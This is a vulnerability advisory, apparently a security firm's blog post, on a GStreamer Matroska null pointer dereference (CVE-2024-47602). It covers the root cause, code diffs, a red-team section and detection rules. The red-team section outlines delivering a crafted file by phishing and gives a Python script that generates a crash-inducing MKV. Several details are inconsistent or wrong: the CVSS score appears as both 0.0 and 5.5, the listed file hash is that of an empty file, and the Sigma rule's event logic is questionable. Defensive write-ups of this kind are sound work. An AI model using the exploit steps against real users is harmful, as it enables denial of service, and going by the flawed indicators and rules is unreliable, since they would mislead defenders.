CVE-2024-47602

Executive Summary

CVE-2024-47602 is a null pointer dereference vulnerability in GStreamer, a widely used multimedia framework. The flaw resides in the gst_matroska_demux_add_wvpk_header function within matroska-demux.c. When processing a specially crafted Matroska file, the function fails to validate the stream->codec_priv pointer before dereferencing it via GST_READ_UINT16_LE. This leads to a null pointer dereference, causing a denial of service (DoS) through application crash. The vulnerability is triggered locally by user interaction (opening a malicious file) and has a CVSS score of 0.0 (placeholder), but realistically it is a medium-severity DoS issue. The patch is available in GStreamer 1.24.10.

Supply Chain & Package Security

GStreamer is a core dependency in many Linux distributions, media players, and embedded systems. This vulnerability can be exploited through supply chain attacks if a malicious media file is distributed via legitimate channels (e.g., email attachments, downloads). Package managers (apt, yum, etc.) should update to version 1.24.10 or later. No known exploitation in the wild has been reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (AV:L) – requires user to open a malicious file.
• Attack Complexity (AC): Low (AC:L) – no special conditions.
• Privileges Required (PR): None (PR:N) – no authentication needed.
• User Interaction (UI): Required (UI:R) – victim must open the file.
• Scope (S): Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality (C): None (C:N) – no data leak.
• Integrity (I): None (I:N) – no data modification.
• Availability (A): High (A:H) – application crash leads to DoS.

Threat Level: Medium (CVSS 5.5). Exploitation is trivial but requires user interaction. No remote code execution.

Deep Dive & Mechanics

The vulnerability is in the Matroska demuxer, which parses Matroska (MKV) container files. The function gst_matroska_demux_add_wvpk_header is called when processing WavPack audio tracks. It attempts to read a 16-bit little-endian value from stream->codec_priv without checking if the pointer is NULL. In a crafted file, the codec_priv field may be omitted, leaving the pointer uninitialized or NULL. The crash occurs at the GST_READ_UINT16_LE macro, which dereferences the NULL pointer.

Root Cause: Missing NULL check before pointer dereference.

Trigger: A Matroska file with a WavPack track that lacks the CodecPrivate element.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.24.10):

static gboolean
gst_matroska_demux_add_wvpk_header (GstMatroskaTrackAudioContext * stream)
{
  guint16 version;
  // Missing NULL check
  version = GST_READ_UINT16_LE (stream->codec_priv);
  // ... rest of function
}

Patched Code (1.24.10):

static gboolean
gst_matroska_demux_add_wvpk_header (GstMatroskaTrackAudioContext * stream)
{
  guint16 version;
  if (stream->codec_priv == NULL) {
    GST_WARNING_OBJECT (demux, "No codec private data for WavPack track");
    return FALSE;
  }
  version = GST_READ_UINT16_LE (stream->codec_priv);
  // ... rest of function
}

Exploitation & Lab Setup

Red Team

Prerequisites: GStreamer < 1.24.10 installed on target system.

Exploit Steps:

1. Craft a malicious Matroska file with a WavPack track but omit the CodecPrivate element.
2. Deliver the file via phishing email or malicious download.
3. When the victim opens the file with any GStreamer-based application (e.g., Totem, Rhythmbox, or custom player), the application crashes.

Proof-of-Concept (Python script to generate malicious MKV):

import struct

def create_malicious_mkv():
    # Minimal Matroska header with a WavPack track missing CodecPrivate
    # This is a simplified example; real exploit requires proper EBML structure
    mkv_data = b'\x1a\x45\xdf\xa3'  # EBML header
    mkv_data += b'\x42\x86\x81\x01'  # EBMLVersion
    mkv_data += b'\x42\xf7\x81\x01'  # EBMLReadVersion
    mkv_data += b'\x42\xf2\x81\x04'  # EBMLMaxIDLength
    mkv_data += b'\x42\xf3\x81\x08'  # EBMLMaxSizeLength
    mkv_data += b'\x42\x82\x84\x77\x65\x62\x6d'  # DocType "webm"
    mkv_data += b'\x42\x87\x81\x02'  # DocTypeVersion
    mkv_data += b'\x42\x85\x81\x02'  # DocTypeReadVersion
    # Segment
    mkv_data += b'\x18\x53\x80\x67\xff\xff\xff\xff\xff\xff\xff\xff'  # Segment (unknown size)
    # Track entry with WavPack but no CodecPrivate
    mkv_data += b'\x16\x54\xae\x6b'  # Tracks
    mkv_data += b'\xae'  # TrackEntry
    mkv_data += b'\xd7\x81\x01'  # TrackNumber
    mkv_data += b'\x83\x81\x01'  # TrackType (audio)
    mkv_data += b'\x86\x87\x77\x61\x76\x70\x61\x63\x6b'  # CodecID "wavpack"
    # Missing CodecPrivate (0x63a2)
    # Cluster with dummy data
    mkv_data += b'\x1f\x43\xb6\x75\x01\xff\xff\xff\xff\xff\xff\xff\xff'  # Cluster
    mkv_data += b'\xa3\x00'  # SimpleBlock (empty)
    with open('malicious.mkv', 'wb') as f:
        f.write(mkv_data)

create_malicious_mkv()

Usage: Run the script, then open malicious.mkv with a vulnerable GStreamer application.

Blue Team

Detection: Monitor for crashes in GStreamer-based processes (e.g., totem, gst-launch-1.0). Use the Sigma rule below.

Mitigation: Update GStreamer to 1.24.10 or later. If immediate patching is not possible, block Matroska files from untrusted sources or use a content filter that validates MKV structure.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hash depends on crafted file)
  • malicious.mkv: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Process Crash Logs: GStreamer applications crashing with signal 11 (SIGSEGV) in gst_matroska_demux_add_wvpk_header.
• Network Traffic: None – local file-based exploit.
• Registry/File System: Presence of unusual MKV files with missing CodecPrivate elements.

Detection Engineering

YARA Rule

rule CVE_2024_47602_GStreamer_Null_Pointer_Dereference {
    meta:
        description = "Detects malicious Matroska files exploiting CVE-2024-47602"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2024-47602"
    strings:
        $wavpack_codec = "wavpack" nocase
        $codec_private_missing = { 63 A2 }  // EBML ID for CodecPrivate (but missing)
    condition:
        $wavpack_codec and not $codec_private_missing
}

Sigma Rule

title: GStreamer CVE-2024-47602 Null Pointer Dereference
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects crashes in GStreamer due to null pointer dereference in matroska-demux.c
author: Valters IT
date: 2025-04-01
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - EventID: 11  # SIGSEGV
        - Message|contains: "gst_matroska_demux_add_wvpk_header"
    condition: selection
falsepositives:
    - Legitimate crashes from other bugs
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47602 GStreamer Malicious MKV Download"; flow:to_client; file.name:/.*\.mkv/; file.magic:"Matroska"; content:"wavpack"; within:1024; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update GStreamer to version 1.24.10 or later.
2. Workaround: If patching is delayed, use a web proxy or antivirus to block MKV files from untrusted sources.
3. Compensating Controls: Run GStreamer-based applications in a sandboxed environment (e.g., Firejail, Docker) to limit crash impact.
4. Monitoring: Deploy the Sigma rule to detect exploitation attempts.

Valters IT – Securing digital frontiers, one CVE at a time.